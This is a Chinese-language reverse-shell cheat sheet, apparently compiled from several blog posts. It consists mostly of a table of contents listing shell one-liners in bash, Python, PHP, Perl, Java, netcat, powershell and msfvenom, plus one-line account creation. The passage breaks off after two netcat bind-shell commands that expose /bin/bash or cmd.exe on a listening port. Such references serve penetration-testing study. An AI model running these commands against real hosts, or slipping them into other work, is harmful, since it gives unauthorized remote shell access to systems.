反弹shell总结

反弹shell总结

• 讲在前面说的话：
• 反弹shell总结
• • • nc反弹shell
    • • • 正向shell
        • 反向shell
        • 正向shell（服务端被攻击）：
        • 反向shell（客户端被攻击）：
    • 无nc反弹shell
    • • • python反弹shell
        • bash反弹shell
        • PHP反向shell
        • Perl反向shell
        • Java反弹shell
        • socat 反弹shell
        • Ruby反弹shell
        • Lua反弹shell
        • Awk 反弹shell
        • exec反弹shell
        • powershell反弹shell
        • 利用msf生成反弹shell
• kali综合渗透测试-常用代码
• 各种反弹shell方法总结备忘
• • • shell分为两种，一种是正向shell，另一种是反向shell。
    • • • （1）正向shell
        • （2）反向shell
    • 4.在目标主机中没有nc时获得反向shell
    • • • （1）Python反向shell
        • （2）Bash反向shell
        • （3）PHP反向shell
        • （4）Perl反向shell
        • （5）Java脚本反弹shell
        • （6）socat 反弹shell
        • （7）Ruby反弹shell
        • （8）Lua反弹shell
        • （9）Awk反弹shell
        • （10）exec反弹shell
        • （11）nc反弹shell：
        • （12）powershell反弹shell
        • （13）从原生的 shell 环境切换到linux的交互式 bash 环境 通常我们nc获得的shell都是不完全shell，需要通过Python的pty转换为拥有完全命令行的完全shell，方便我们进行复制粘贴等操作。
• 【技术分享】linux各种一句话反弹shell总结
• • • 简介
    • 一、场景一
    • • • 1.1 安装netcat
        • 1.2 开启本地监听
        • 1.3 直接连接目标主机
    • 二、场景二
    • • • 2.1 bash 直接反弹
        • 2.2 netcat 工具反弹
        • 2.3 socat 反弹一句话
        • 2.4 其他脚本一句话shell反弹
        • 2.5 msfvenom 获取反弹一句话
    • 三、场景三
    • • • 3.1 一句话添加账号
        • 3.2 python 标准虚拟终端获取
    • 四、写在最后
    • • • 4.1 nc开启本地监听发布bash服务
        • 4.2 常用反弹shell一句话
        • 4.3 利用msfvenom获取反弹一句话
        • 4.4 使用python获取标准shell
        • 4.5 linux 一句话添加账户
    • 学习参考
• 反弹SHELL汇总
• • • Reverse Shell Cheat Sheet
    • • • Bash
        • PERL
        • Python
        • PHP
        • Ruby
        • Netcat
        • Java
        • xterm
        • Further Reading
• 几种常见反弹shell汇总
• • • 0x01. bash
    • 0x02. nc(netcat)反弹
    • 0x03. telnet反弹
    • 常见脚本反弹
    • • • 1. python
        • 2. perl
        • 方法二：
        • 3. Ruby
        • 4. PHP
        • 5. Java
        • 6. Lua
        • 7. AWK 反弹
    • Reference
• 10种反弹shell方式
• • • 参考链接：
    • 10种反弹shell方式
    • • • 1. bash
        • 2. perl
        • 3. python
        • 4. php
        • 5. ruby
        • 6. nc
        • 7. java
        • 8. xterm
        • 9. exec
        • 10. 从原生的 shell 环境切换到 linux 的交互式 bash 环境

---

讲在前面说的话：

没有任何基础的 推荐 【技术分享】linux各种一句话反弹shell总结

---

反弹shell总结

nc反弹shell

正向shell

nc -lvp 1234 -e /bin/bash # linux  服务端（被攻击的主机）

nc -lvp 1234 -e c:\windows\system32\cmd.exe # windows 服务端&#x